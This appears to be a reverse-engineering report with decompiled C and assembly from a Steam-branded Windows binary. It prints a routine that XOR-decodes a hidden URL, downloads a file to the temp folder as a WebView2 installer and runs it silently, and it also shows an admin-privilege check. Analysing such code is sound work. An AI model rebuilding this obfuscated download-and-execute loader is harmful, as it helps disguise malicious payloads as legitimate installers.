140004df0	33 c0	XOR EAX,EAX
140004df2	48 8b 8c 24 40 04 00 00	MOV RCX,qword ptr [RSP + local_18]
140004dfa	48 33 cc	XOR RCX,RSP
140004dfd	e8 2e 3b 00 00	CALL __security_check_cookie

downloads a file from a XOR-decoded URL…

0x140005750748 bytes

undefined FUN_140005750(void)

downloads a file from a XOR-decoded URL to the temp directory via URLDownloadToFileW

Cited as: E1
Behaviours: B1
Called from: FUN_140005ae0
Calls: CoTaskMemFree ShellExecuteExW MessageBoxW URLDownloadToFileW GetTempPathW WaitForSingleObject DeleteFileW CloseHandle GetExitCodeProcess FUN_140001ff2, FUN_1400025d1, FUN_140003f60, FUN_140005700, __security_check_cookie, _calloc_base, FUN_140011230

Decompiled C · 148 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_140005750(void)

{
  bool bVar1;
  bool bVar2;
  int iVar3;
  DWORD DVar4;
  HRESULT HVar5;
  BOOL BVar6;
  undefined8 uVar7;
  longlong *plVar8;
  undefined1 auStackY_4e8 [32];
  short *local_4b8;
  short *local_4b0;
  SHELLEXECUTEINFOW local_4a8;
  uint local_438;
  uint uStack_434;
  uint uStack_430;
  uint uStack_42c;
  uint local_428;
  uint uStack_424;
  uint uStack_420;
  uint uStack_41c;
  uint local_418;
  uint uStack_414;
  uint uStack_410;
  uint uStack_40c;
  uint local_408;
  uint uStack_404;
  uint uStack_400;
  uint uStack_3fc;
  uint local_3f8;
  uint uStack_3f4;
  uint uStack_3f0;
  uint uStack_3ec;
  uint local_3e8;
  uint uStack_3e4;
  uint uStack_3e0;
  uint uStack_3dc;
  undefined4 local_3d8;
  WCHAR local_228 [264];
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStackY_4e8;
  local_4b8 = (short *)0x0;
  iVar3 = FUN_1400025d1(0,&local_4b8);
  bVar2 = false;
  if (((iVar3 < 0) || (local_4b8 == (short *)0x0)) || (bVar1 = true, *local_4b8 == 0)) {
    bVar1 = bVar2;
  }
  if (local_4b8 != (short *)0x0) {
    CoTaskMemFree(local_4b8);
  }
  if (bVar1) {
LAB_14000598b:
    plVar8 = _calloc_base(1,0x10);
    if (plVar8 != (longlong *)0x0) {
      *(undefined4 *)(plVar8 + 1) = 1;
      *plVar8 = (longlong)&PTR_LAB_14002eb60;
      GetTempPathW(0x104,local_228);
      FUN_140003f60((undefined2 *)&local_438,0x104,0x140029998,local_228);
      FUN_140001ff2(0,&local_438,(undefined8 *)0x0,plVar8);
    }
  }
  else {
    DVar4 = GetTempPathW(0x104,local_228);
    if (DVar4 != 0) {
      FUN_140011230(local_228,0x104,0x140029930);
      local_3d8 = 0x33;
      local_438 = _DAT_14002a510 ^ _DAT_14002a2e0;
      uStack_434 = _UNK_14002a514 ^ _UNK_14002a2e4;
      uStack_430 = _UNK_14002a518 ^ _UNK_14002a2e8;
      uStack_42c = _UNK_14002a51c ^ _UNK_14002a2ec;
      local_428 = _DAT_14002a510 ^ _DAT_14002a2f0;
      uStack_424 = _UNK_14002a514 ^ _UNK_14002a2f4;
      uStack_420 = _UNK_14002a518 ^ _UNK_14002a2f8;
      uStack_41c = _UNK_14002a51c ^ _UNK_14002a2fc;
      local_418 = _DAT_14002a510 ^ _DAT_14002a300;
      uStack_414 = _UNK_14002a514 ^ _UNK_14002a304;
      uStack_410 = _UNK_14002a518 ^ _UNK_14002a308;
      uStack_40c = _UNK_14002a51c ^ _UNK_14002a30c;
      local_3f8 = _DAT_14002a510 ^ _DAT_14002a320;
      uStack_3f4 = _UNK_14002a514 ^ _UNK_14002a324;
      uStack_3f0 = _UNK_14002a518 ^ _UNK_14002a328;
      uStack_3ec = _UNK_14002a51c ^ _UNK_14002a32c;
      local_408 = _DAT_14002a510 ^ _DAT_14002a310;
      uStack_404 = _UNK_14002a514 ^ _UNK_14002a314;
      uStack_400 = _UNK_14002a518 ^ _UNK_14002a318;
      uStack_3fc = _UNK_14002a51c ^ _UNK_14002a31c;
      local_3e8 = _DAT_14002a510 ^ s_>ZgZhZkZhZnZmZjZiZ_14002a330._0_4_;
      uStack_3e4 = _UNK_14002a514 ^ s_>ZgZhZkZhZnZmZjZiZ_14002a330._4_4_;
      uStack_3e0 = _UNK_14002a518 ^ s_>ZgZhZkZhZnZmZjZiZ_14002a330._8_4_;
      uStack_3dc = _UNK_14002a51c ^ s_>ZgZhZkZhZnZmZjZiZ_14002a330._12_4_;
      HVar5 = URLDownloadToFileW((LPUNKNOWN)0x0,(LPCWSTR)&local_438,local_228,0,
                                 (LPBINDSTATUSCALLBACK)0x0);
      if (-1 < HVar5) {
        local_4a8.lpVerb = L"open";
        local_4a8.hwnd = (HWND)0x0;
        local_4a8.lpFile = local_228;
        local_4a8.lpDirectory = (LPCWSTR)0x0;
        local_4a8.lpParameters = L"/silent /install";
        local_4a8.hInstApp = (HINSTANCE)0x0;
        local_4a8.cbSize = 0x70;
        local_4a8.fMask = 0x40;
        local_4a8.lpIDList = (void *)0x0;
        local_4a8.lpClass = (LPCWSTR)0x0;
        local_4a8.nShow = 0;
        local_4a8._52_4_ = 0;
        local_4a8.hkeyClass = (HKEY)0x0;
        local_4a8.dwHotKey = 0;
        local_4a8._92_4_ = 0;
        local_4a8.u.hIcon = (HANDLE)0x0;
        local_4a8.hProcess = (HANDLE)0x0;
        BVar6 = ShellExecuteExW(&local_4a8);
        if ((BVar6 == 0) || (local_4a8.hProcess == (HANDLE)0x0)) {
          DeleteFileW(local_228);
        }
        else {
          WaitForSingleObject(local_4a8.hProcess,600000);
          local_4b8 = (short *)CONCAT44(local_4b8._4_4_,1);
          GetExitCodeProcess(local_4a8.hProcess,(LPDWORD)&local_4b8);
          CloseHandle(local_4a8.hProcess);
          DeleteFileW(local_228);
          if (((int)local_4b8 == 0) || (uVar7 = FUN_140005700(), bVar1 = bVar2, (int)uVar7 != 0)) {
            bVar1 = true;
          }
          if (bVar1) {
            local_4b0 = (short *)0x0;
            iVar3 = FUN_1400025d1(0,&local_4b0);
            if (((iVar3 < 0) || (local_4b0 == (short *)0x0)) || (bVar1 = true, *local_4b0 == 0)) {
              bVar1 = bVar2;
            }
            if (local_4b0 != (short *)0x0) {
              CoTaskMemFree(local_4b0);
            }
            if (bVar1) goto LAB_14000598b;
          }
        }
      }
    }
    MessageBoxW(DAT_14002ffc8,L"WebView2 Runtime not found.",L"Steam",0x10);
  }
}

Assembly · 162 instructions, 13 annotated

Address	Bytes	Instruction	Comment
140005750	48 89 5c 24 08	MOV qword ptr [RSP + local_res8],RBX
140005755	48 89 7c 24 10	MOV qword ptr [RSP + local_res10],RDI
14000575a	55	PUSH RBP
14000575b	48 8d ac 24 20 fc ff ff	LEA RBP,[RSP + -0x3e0]
140005763	48 81 ec e0 04 00 00	SUB RSP,0x4e0
14000576a	48 8b 05 cf 88 02 00	MOV RAX,qword ptr [DAT_14002e040]
140005771	48 33 c4	XOR RAX,RSP
140005774	48 89 85 d0 03 00 00	MOV qword ptr [RBP + local_18],RAX
14000577b	33 db	XOR EBX,EBX
14000577d	48 8d 54 24 30	LEA RDX,[RSP + 0x30]
140005782	33 c9	XOR ECX,ECX
140005784	48 89 5c 24 30	MOV qword ptr [RSP + local_4b8],RBX
140005789	e8 43 ce ff ff	CALL FUN_1400025d1
14000578e	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_4b8]
140005793	85 c0	TEST EAX,EAX
140005795	78 0f	JS LAB_1400057a6
140005797	48 85 c9	TEST RCX,RCX
14000579a	74 0a	JZ LAB_1400057a6
14000579c	bf 01 00 00 00	MOV EDI,0x1
1400057a1	66 39 19	CMP word ptr [RCX],BX
1400057a4	75 02	JNZ LAB_1400057a8
LAB_1400057a6:
1400057a6	8b fb	MOV EDI,EBX
LAB_1400057a8:
1400057a8	48 85 c9	TEST RCX,RCX
1400057ab	74 06	JZ LAB_1400057b3
1400057ad	ff 15 4d 9d 01 00	CALL qword ptr [PTR_CoTaskMemFree_14001f500]
LAB_1400057b3:
1400057b3	85 ff	TEST EDI,EDI
1400057b5	0f 85 d0 01 00 00	JNZ LAB_14000598b
1400057bb	48 8d 95 c0 01 00 00	LEA RDX,[RBP + 0x1c0]
1400057c2	b9 04 01 00 00	MOV ECX,0x104
1400057c7	ff 15 2b 9a 01 00	CALL qword ptr [PTR_GetTempPathW_14001f1f8]
1400057cd	85 c0	TEST EAX,EAX
1400057cf	0f 84 57 02 00 00	JZ LAB_140005a2c
1400057d5	4c 8d 05 54 41 02 00	LEA R8,[u_MicrosoftEdgeWebview2Setup.exe_140029930]	; "MicrosoftEdgeWebview2Setup.exe"
1400057dc	ba 04 01 00 00	MOV EDX,0x104
1400057e1	48 8d 8d c0 01 00 00	LEA RCX,[RBP + 0x1c0]
1400057e8	e8 43 ba 00 00	CALL FUN_140011230	; FUN_140011230: GetLastError, SetLastError
1400057ed	66 0f 6f 15 1b 4d 02 00	MOVDQA XMM2,xmmword ptr [DAT_14002a510]
1400057f5	4c 8d 85 c0 01 00 00	LEA R8,[RBP + 0x1c0]
1400057fc	66 0f 6f c2	MOVDQA XMM0,XMM2
140005800	c7 45 10 33 00 00 00	MOV dword ptr [RBP + local_3d8],0x33
140005807	0f 57 05 d2 4a 02 00	XORPS XMM0,xmmword ptr [DAT_14002a2e0]
14000580e	48 8d 55 b0	LEA RDX,[RBP + -0x50]
140005812	f3 0f 7f 45 b0	MOVDQU xmmword ptr [RBP + local_438[0]],XMM0
140005817	66 0f 6f ca	MOVDQA XMM1,XMM2
14000581b	0f 57 0d ce 4a 02 00	XORPS XMM1,xmmword ptr [DAT_14002a2f0]
140005822	66 0f 6f c2	MOVDQA XMM0,XMM2
140005826	0f 57 05 d3 4a 02 00	XORPS XMM0,xmmword ptr [DAT_14002a300]
14000582d	45 33 c9	XOR R9D,R9D
140005830	f3 0f 7f 45 d0	MOVDQU xmmword ptr [RBP + local_418[0]],XMM0
140005835	33 c9	XOR ECX,ECX
140005837	f3 0f 7f 4d c0	MOVDQU xmmword ptr [RBP + local_428[0]],XMM1
14000583c	66 0f 6f c2	MOVDQA XMM0,XMM2
140005840	0f 57 05 d9 4a 02 00	XORPS XMM0,xmmword ptr [DAT_14002a320]
140005847	66 0f 6f ca	MOVDQA XMM1,XMM2
14000584b	0f 57 0d be 4a 02 00	XORPS XMM1,xmmword ptr [DAT_14002a310]
140005852	0f 57 15 d7 4a 02 00	XORPS XMM2,xmmword ptr [s_>ZgZhZkZhZnZmZjZiZ_14002a330]	; ">ZgZhZkZhZnZmZjZiZ"
140005859	f3 0f 7f 45 f0	MOVDQU xmmword ptr [RBP + local_3f8[0]],XMM0
14000585e	f3 0f 7f 4d e0	MOVDQU xmmword ptr [RBP + local_408[0]],XMM1
140005863	f3 0f 7f 55 00	MOVDQU xmmword ptr [RBP],XMM2
140005868	48 89 5c 24 20	MOV qword ptr [RSP + local_4c8],RBX
14000586d	ff 15 b5 9c 01 00	CALL qword ptr [PTR_URLDownloadToFileW_14001f528]
140005873	85 c0	TEST EAX,EAX
140005875	0f 88 b1 01 00 00	JS LAB_140005a2c
14000587b	0f 57 c0	XORPS XMM0,XMM0
14000587e	48 8d 05 c3 3c 02 00	LEA RAX,[u_open_140029548]	; "open"
140005885	0f 11 44 24 50	MOVUPS xmmword ptr [RSP + local_498[0]],XMM0
14000588a	48 89 44 24 50	MOV qword ptr [RSP + local_498[0]],RAX	; "open"
14000588f	48 8d 4c 24 40	LEA RCX,[RSP + 0x40]
140005894	0f 11 44 24 40	MOVUPS xmmword ptr [RSP + local_4a8[0]],XMM0
140005899	48 8d 85 c0 01 00 00	LEA RAX,[RBP + 0x1c0]
1400058a0	c7 44 24 40 70 00 00 00	MOV dword ptr [RSP + local_4a8[0]],0x70
1400058a8	48 89 44 24 58	MOV qword ptr [RSP + local_498[8]],RAX
1400058ad	48 8d 05 bc 40 02 00	LEA RAX,[u_/silent_/install_140029970]	; "/silent /install"
1400058b4	0f 11 44 24 60	MOVUPS xmmword ptr [RSP + local_488[0]],XMM0
1400058b9	48 89 44 24 60	MOV qword ptr [RSP + local_488[0]],RAX	; "/silent /install"
1400058be	0f 11 44 24 70	MOVUPS xmmword ptr [RSP + local_478[0]],XMM0
1400058c3	c7 44 24 44 40 00 00 00	MOV dword ptr [RSP + local_4a8[4]],0x40
1400058cb	0f 11 45 80	MOVUPS xmmword ptr [RBP + local_468[0]],XMM0
1400058cf	89 5c 24 70	MOV dword ptr [RSP + local_478[0]],EBX
1400058d3	0f 11 45 90	MOVUPS xmmword ptr [RBP + local_458[0]],XMM0
1400058d7	0f 11 45 a0	MOVUPS xmmword ptr [RBP + local_448[0]],XMM0
1400058db	ff 15 df 9a 01 00	CALL qword ptr [PTR_ShellExecuteExW_14001f3c0]
1400058e1	85 c0	TEST EAX,EAX
1400058e3	0f 84 36 01 00 00	JZ LAB_140005a1f
1400058e9	48 8b 4d a8	MOV RCX,qword ptr [RBP + local_448[8]]
1400058ed	48 85 c9	TEST RCX,RCX
1400058f0	0f 84 29 01 00 00	JZ LAB_140005a1f
1400058f6	ba c0 27 09 00	MOV EDX,0x927c0
1400058fb	ff 15 07 99 01 00	CALL qword ptr [PTR_WaitForSingleObject_14001f208]
140005901	48 8b 4d a8	MOV RCX,qword ptr [RBP + local_448[8]]
140005905	48 8d 54 24 30	LEA RDX,[RSP + 0x30]
14000590a	c7 44 24 30 01 00 00 00	MOV dword ptr [RSP + local_4b8],0x1
140005912	ff 15 88 99 01 00	CALL qword ptr [PTR_GetExitCodeProcess_14001f2a0]
140005918	48 8b 4d a8	MOV RCX,qword ptr [RBP + local_448[8]]
14000591c	ff 15 46 99 01 00	CALL qword ptr [PTR_CloseHandle_14001f268]
140005922	48 8d 8d c0 01 00 00	LEA RCX,[RBP + 0x1c0]
140005929	ff 15 29 99 01 00	CALL qword ptr [PTR_DeleteFileW_14001f258]
14000592f	39 5c 24 30	CMP dword ptr [RSP + local_4b8],EBX
140005933	74 0b	JZ LAB_140005940
140005935	e8 c6 fd ff ff	CALL FUN_140005700	; FUN_140005700: CoTaskMemFree
14000593a	85 c0	TEST EAX,EAX
14000593c	8b c3	MOV EAX,EBX
14000593e	74 05	JZ LAB_140005945
LAB_140005940:
140005940	b8 01 00 00 00	MOV EAX,0x1
LAB_140005945:
140005945	85 c0	TEST EAX,EAX
140005947	0f 84 df 00 00 00	JZ LAB_140005a2c
14000594d	48 8d 54 24 38	LEA RDX,[RSP + 0x38]
140005952	48 89 5c 24 38	MOV qword ptr [RSP + local_4b0],RBX
140005957	33 c9	XOR ECX,ECX
140005959	e8 73 cc ff ff	CALL FUN_1400025d1
14000595e	48 8b 4c 24 38	MOV RCX,qword ptr [RSP + local_4b0]
140005963	85 c0	TEST EAX,EAX
140005965	78 0f	JS LAB_140005976
140005967	48 85 c9	TEST RCX,RCX
14000596a	74 0a	JZ LAB_140005976
14000596c	bf 01 00 00 00	MOV EDI,0x1
140005971	66 39 19	CMP word ptr [RCX],BX
140005974	75 02	JNZ LAB_140005978
LAB_140005976:
140005976	8b fb	MOV EDI,EBX
LAB_140005978:
140005978	48 85 c9	TEST RCX,RCX
14000597b	74 06	JZ LAB_140005983
14000597d	ff 15 7d 9b 01 00	CALL qword ptr [PTR_CoTaskMemFree_14001f500]
LAB_140005983:
140005983	85 ff	TEST EDI,EDI
140005985	0f 84 a1 00 00 00	JZ LAB_140005a2c
LAB_14000598b:
14000598b	ba 10 00 00 00	MOV EDX,0x10
140005990	b9 01 00 00 00	MOV ECX,0x1
140005995	e8 0e 8e 00 00	CALL _calloc_base
14000599a	48 8b f8	MOV RDI,RAX
14000599d	48 85 c0	TEST RAX,RAX
1400059a0	74 57	JZ LAB_1400059f9
1400059a2	48 8d 05 b7 91 02 00	LEA RAX,[PTR_LAB_14002eb60]
1400059a9	c7 47 08 01 00 00 00	MOV dword ptr [RDI + 0x8],0x1
1400059b0	48 8d 95 c0 01 00 00	LEA RDX,[RBP + 0x1c0]
1400059b7	48 89 07	MOV qword ptr [RDI],RAX
1400059ba	b9 04 01 00 00	MOV ECX,0x104
1400059bf	ff 15 33 98 01 00	CALL qword ptr [PTR_GetTempPathW_14001f1f8]
1400059c5	4c 8d 8d c0 01 00 00	LEA R9,[RBP + 0x1c0]
1400059cc	ba 04 01 00 00	MOV EDX,0x104
1400059d1	4c 8d 05 c0 3f 02 00	LEA R8,[u_%sSteamWV_140029998]	; "%sSteamWV"
1400059d8	48 8d 4d b0	LEA RCX,[RBP + -0x50]
1400059dc	e8 7f e5 ff ff	CALL FUN_140003f60	; FUN_140003f60: GetLastError, SetLastError
1400059e1	4c 8b cf	MOV R9,RDI
1400059e4	48 8d 55 b0	LEA RDX,[RBP + -0x50]
1400059e8	45 33 c0	XOR R8D,R8D
1400059eb	33 c9	XOR ECX,ECX
1400059ed	e8 00 c6 ff ff	CALL FUN_140001ff2	; FUN_140001ff2: GetProcAddress, EventRegister, EventSetInformation, EventWriteTransfer +2
1400059f2	f7 d0	NOT EAX
1400059f4	c1 e8 1f	SHR EAX,0x1f
1400059f7	8b d8	MOV EBX,EAX
LAB_1400059f9:
1400059f9	8b c3	MOV EAX,EBX
LAB_1400059fb:
1400059fb	48 8b 8d d0 03 00 00	MOV RCX,qword ptr [RBP + local_18]
140005a02	48 33 cc	XOR RCX,RSP
140005a05	e8 26 2f 00 00	CALL __security_check_cookie
LAB_140005a1f:
140005a1f	48 8d 8d c0 01 00 00	LEA RCX,[RBP + 0x1c0]
140005a26	ff 15 2c 98 01 00	CALL qword ptr [PTR_DeleteFileW_14001f258]
LAB_140005a2c:
140005a2c	48 8b 0d 95 a5 02 00	MOV RCX,qword ptr [DAT_14002ffc8]
140005a33	4c 8d 05 ce 3d 02 00	LEA R8,[u_Steam_140029808]	; "Steam"
140005a3a	41 b9 10 00 00 00	MOV R9D,0x10
140005a40	48 8d 15 b1 3e 02 00	LEA RDX,[u_WebView2_Runtime_not_found._1400298f8]	; "WebView2 Runtime not found."
140005a47	ff 15 53 9a 01 00	CALL qword ptr [PTR_MessageBoxW_14001f4a0]
140005a4d	33 c0	XOR EAX,EAX
140005a4f	eb aa	JMP LAB_1400059fb

creates rounded rectangle window region…

0x140005a60118 bytes

undefined FUN_140005a60(HWND param_1)

creates rounded rectangle window region with 12px corners via CreateRoundRectRgn and SetWindowRgn

Cited as: E19
Behaviours: B7
Called from: FUN_140005ae0, FUN_140008650
Calls: SetWindowRgn GetWindowRect CreateRoundRectRgn __security_check_cookie

Decompiled C · 18 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140005a60(HWND param_1)

{
  HRGN hRgn;
  undefined1 auStackY_58 [32];
  tagRECT local_28;
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStackY_58;
  GetWindowRect(param_1,&local_28);
  hRgn = CreateRoundRectRgn(0,0,(local_28.right - local_28.left) + 1,
                            (local_28.bottom - local_28.top) + 1,0xc,0xc);
  SetWindowRgn(param_1,hRgn,1);
}

Assembly · 26 instructions, 0 annotated

Address	Bytes	Instruction
140005a60	40 53	PUSH RBX
140005a62	48 83 ec 50	SUB RSP,0x50
140005a66	48 8b 05 d3 85 02 00	MOV RAX,qword ptr [DAT_14002e040]
140005a6d	48 33 c4	XOR RAX,RSP
140005a70	48 89 44 24 40	MOV qword ptr [RSP + local_18],RAX
140005a75	48 8d 54 24 30	LEA RDX,[RSP + 0x30]
140005a7a	48 8b d9	MOV RBX,RCX
140005a7d	ff 15 25 9a 01 00	CALL qword ptr [PTR_GetWindowRect_14001f4a8]
140005a83	44 8b 44 24 38	MOV R8D,dword ptr [RSP + local_20]
140005a88	33 d2	XOR EDX,EDX
140005a8a	44 2b 44 24 30	SUB R8D,dword ptr [RSP + local_28]
140005a8f	33 c9	XOR ECX,ECX
140005a91	44 8b 4c 24 3c	MOV R9D,dword ptr [RSP + local_1c]
140005a96	44 2b 4c 24 34	SUB R9D,dword ptr [RSP + local_24]
140005a9b	41 ff c1	INC R9D
140005a9e	c7 44 24 28 0c 00 00 00	MOV dword ptr [RSP + local_30],0xc
140005aa6	41 ff c0	INC R8D
140005aa9	c7 44 24 20 0c 00 00 00	MOV dword ptr [RSP + local_38],0xc
140005ab1	ff 15 d1 95 01 00	CALL qword ptr [PTR_CreateRoundRectRgn_14001f088]
140005ab7	41 b8 01 00 00 00	MOV R8D,0x1
140005abd	48 8b cb	MOV RCX,RBX
140005ac0	48 8b d0	MOV RDX,RAX
140005ac3	ff 15 cf 99 01 00	CALL qword ptr [PTR_SetWindowRgn_14001f498]
140005ac9	48 8b 4c 24 40	MOV RCX,qword ptr [RSP + local_18]
140005ace	48 33 cc	XOR RCX,RSP
140005ad1	e8 5a 2e 00 00	CALL __security_check_cookie

wndProc

0x140005ae0282 bytes

undefined FUN_140005ae0(HWND param_1, UINT param_2, WPARAM param_3, LPARAM param_4)

WndProc: handles WM_TIMER to trigger delayed download, WM_DESTROY for cleanup, WM_SIZE for rounded-region resize

Cited as: E17
Behaviours: B1, B7
Called from: none found
Calls: GetClientRect KillTimer PostQuitMessage DefWindowProcW FUN_140005750, FUN_140005a60, __security_check_cookie, FUN_1400112a8

Decompiled C · 56 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140005ae0(HWND param_1,UINT param_2,WPARAM param_3,LPARAM param_4)

{
  undefined1 auStack_58 [32];
  LONG local_38;
  LONG LStack_34;
  LONG LStack_30;
  LONG LStack_2c;
  tagRECT local_28;
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStack_58;
  if (param_2 == 2) {
    if (DAT_14002ffd0 != (longlong *)0x0) {
      (**(code **)(*DAT_14002ffd0 + 0x10))();
      DAT_14002ffd0 = (longlong *)0x0;
    }
    if (DAT_14002ffa8 != (longlong *)0x0) {
      (**(code **)(*DAT_14002ffa8 + 0x10))();
      DAT_14002ffa8 = (longlong *)0x0;
    }
    if (DAT_14002ffd8 != (longlong *)0x0) {
      (**(code **)(*DAT_14002ffd8 + 0x10))();
      DAT_14002ffd8 = (longlong *)0x0;
    }
    if (DAT_14002ffb0 != (LPVOID)0x0) {
      FUN_1400112a8(DAT_14002ffb0);
      DAT_14002ffb0 = (LPVOID)0x0;
    }
    PostQuitMessage(0);
  }
  else if (param_2 == 5) {
    FUN_140005a60(param_1);
    if (DAT_14002ffa8 != (longlong *)0x0) {
      GetClientRect(param_1,&local_28);
      local_38 = local_28.left;
      LStack_34 = local_28.top;
      LStack_30 = local_28.right;
      LStack_2c = local_28.bottom;
      (**(code **)(*DAT_14002ffa8 + 0x30))(DAT_14002ffa8,&local_38);
    }
  }
  else {
    if (param_2 != 0x113) {
      DefWindowProcW(param_1,param_2,param_3,param_4);
    }
    if (param_3 == 1) {
      KillTimer(param_1,1);
      FUN_140005750();
    }
  }
}

Assembly · 65 instructions, 3 annotated

Address	Bytes	Instruction	Comment
140005ae0	40 53	PUSH RBX
140005ae2	48 83 ec 50	SUB RSP,0x50
140005ae6	48 8b 05 53 85 02 00	MOV RAX,qword ptr [DAT_14002e040]
140005aed	48 33 c4	XOR RAX,RSP
140005af0	48 89 44 24 40	MOV qword ptr [RSP + local_18],RAX
140005af5	48 8b d9	MOV RBX,RCX
140005af8	83 fa 02	CMP EDX,0x2
140005afb	0f 84 83 00 00 00	JZ LAB_140005b84
140005b01	83 fa 05	CMP EDX,0x5
140005b04	74 3e	JZ LAB_140005b44
140005b06	81 fa 13 01 00 00	CMP EDX,0x113
140005b0c	74 19	JZ LAB_140005b27
140005b0e	ff 15 ac 99 01 00	CALL qword ptr [PTR_DefWindowProcW_14001f4c0]
140005b14	48 8b 4c 24 40	MOV RCX,qword ptr [RSP + local_18]
140005b19	48 33 cc	XOR RCX,RSP
140005b1c	e8 0f 2e 00 00	CALL __security_check_cookie
LAB_140005b27:
140005b27	49 83 f8 01	CMP R8,0x1
140005b2b	0f 85 c0 00 00 00	JNZ LAB_140005bf1
140005b31	49 8b d0	MOV RDX,R8
140005b34	ff 15 36 99 01 00	CALL qword ptr [PTR_KillTimer_14001f470]
140005b3a	e8 11 fc ff ff	CALL FUN_140005750	; FUN_140005750: CoTaskMemFree, GetTempPathW, URLDownloadToFileW, ShellExecuteExW +5
140005b3f	e9 ad 00 00 00	JMP LAB_140005bf1
LAB_140005b44:
140005b44	e8 17 ff ff ff	CALL FUN_140005a60	; FUN_140005a60: GetWindowRect, CreateRoundRectRgn, SetWindowRgn
140005b49	48 83 3d 57 a4 02 00 00	CMP qword ptr [DAT_14002ffa8],0x0
140005b51	0f 84 9a 00 00 00	JZ LAB_140005bf1
140005b57	48 8d 54 24 30	LEA RDX,[RSP + 0x30]
140005b5c	48 8b cb	MOV RCX,RBX
140005b5f	ff 15 03 99 01 00	CALL qword ptr [PTR_GetClientRect_14001f468]
140005b65	48 8b 0d 3c a4 02 00	MOV RCX,qword ptr [DAT_14002ffa8]
140005b6c	48 8d 54 24 20	LEA RDX,[RSP + 0x20]
140005b71	0f 28 44 24 30	MOVAPS XMM0,xmmword ptr [RSP + local_28[0]]
140005b76	66 0f 7f 44 24 20	MOVDQA xmmword ptr [RSP + local_38[0]],XMM0
140005b7c	48 8b 01	MOV RAX,qword ptr [RCX]
140005b7f	ff 50 30	CALL qword ptr [RAX + 0x30]
140005b82	eb 6d	JMP LAB_140005bf1
LAB_140005b84:
140005b84	48 8b 0d 45 a4 02 00	MOV RCX,qword ptr [DAT_14002ffd0]
140005b8b	33 db	XOR EBX,EBX
140005b8d	48 85 c9	TEST RCX,RCX
140005b90	74 0d	JZ LAB_140005b9f
140005b92	48 8b 01	MOV RAX,qword ptr [RCX]
140005b95	ff 50 10	CALL qword ptr [RAX + 0x10]
140005b98	48 89 1d 31 a4 02 00	MOV qword ptr [DAT_14002ffd0],RBX
LAB_140005b9f:
140005b9f	48 8b 0d 02 a4 02 00	MOV RCX,qword ptr [DAT_14002ffa8]
140005ba6	48 85 c9	TEST RCX,RCX
140005ba9	74 0d	JZ LAB_140005bb8
140005bab	48 8b 01	MOV RAX,qword ptr [RCX]
140005bae	ff 50 10	CALL qword ptr [RAX + 0x10]
140005bb1	48 89 1d f0 a3 02 00	MOV qword ptr [DAT_14002ffa8],RBX
LAB_140005bb8:
140005bb8	48 8b 0d 19 a4 02 00	MOV RCX,qword ptr [DAT_14002ffd8]
140005bbf	48 85 c9	TEST RCX,RCX
140005bc2	74 0d	JZ LAB_140005bd1
140005bc4	48 8b 01	MOV RAX,qword ptr [RCX]
140005bc7	ff 50 10	CALL qword ptr [RAX + 0x10]
140005bca	48 89 1d 07 a4 02 00	MOV qword ptr [DAT_14002ffd8],RBX
LAB_140005bd1:
140005bd1	48 8b 0d d8 a3 02 00	MOV RCX,qword ptr [DAT_14002ffb0]
140005bd8	48 85 c9	TEST RCX,RCX
140005bdb	74 0c	JZ LAB_140005be9
140005bdd	e8 c6 b6 00 00	CALL FUN_1400112a8	; FUN_1400112a8: HeapFree, GetLastError
140005be2	48 89 1d c7 a3 02 00	MOV qword ptr [DAT_14002ffb0],RBX
LAB_140005be9:
140005be9	33 c9	XOR ECX,ECX
140005beb	ff 15 87 98 01 00	CALL qword ptr [PTR_PostQuitMessage_14001f478]
LAB_140005bf1:
140005bf1	33 c0	XOR EAX,EAX
140005bf3	48 8b 4c 24 40	MOV RCX,qword ptr [RSP + local_18]
140005bf8	48 33 cc	XOR RCX,RSP
140005bfb	e8 30 2d 00 00	CALL __security_check_cookie

checks admin privileges via…

0x140005e80127 bytes

undefined4 FUN_140005e80(void)

checks admin privileges via OpenProcessToken and GetTokenInformation

Cited as: E12
Behaviours: B10
Called from: FUN_140006d70, FUN_140007950
Calls: OpenProcessToken GetTokenInformation GetCurrentProcess CloseHandle

Decompiled C · 27 lines

undefined4 FUN_140005e80(void)

{
  BOOL BVar1;
  HANDLE ProcessHandle;
  undefined4 uVar2;
  DWORD local_res8 [2];
  int local_res10 [2];
  HANDLE local_res18 [2];
  
  uVar2 = 0;
  local_res18[0] = (HANDLE)0x0;
  ProcessHandle = GetCurrentProcess();
  BVar1 = OpenProcessToken(ProcessHandle,8,local_res18);
  if (BVar1 == 0) {
    return 0;
  }
  local_res8[0] = 4;
  BVar1 = GetTokenInformation(local_res18[0],TokenElevation,local_res10,4,local_res8);
  if ((BVar1 != 0) && (local_res10[0] != 0)) {
    uVar2 = 1;
  }
  CloseHandle(local_res18[0]);
  return uVar2;
}

Assembly · 33 instructions, 0 annotated

Address	Bytes	Instruction
140005e80	40 53	PUSH RBX
140005e82	48 83 ec 30	SUB RSP,0x30
140005e86	33 db	XOR EBX,EBX
140005e88	48 89 5c 24 50	MOV qword ptr [RSP + local_res18],RBX
140005e8d	ff 15 45 93 01 00	CALL qword ptr [PTR_GetCurrentProcess_14001f1d8]
140005e93	4c 8d 44 24 50	LEA R8,[RSP + 0x50]
140005e98	ba 08 00 00 00	MOV EDX,0x8
140005e9d	48 8b c8	MOV RCX,RAX
140005ea0	ff 15 b2 91 01 00	CALL qword ptr [PTR_OpenProcessToken_14001f058]
140005ea6	85 c0	TEST EAX,EAX
140005ea8	75 06	JNZ LAB_140005eb0
140005eaa	48 83 c4 30	ADD RSP,0x30
140005eae	5b	POP RBX
140005eaf	c3	RET
LAB_140005eb0:
140005eb0	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_res18]
140005eb5	48 8d 44 24 40	LEA RAX,[RSP + 0x40]
140005eba	41 b9 04 00 00 00	MOV R9D,0x4
140005ec0	48 89 44 24 20	MOV qword ptr [RSP + local_18],RAX
140005ec5	4c 8d 44 24 48	LEA R8,[RSP + 0x48]
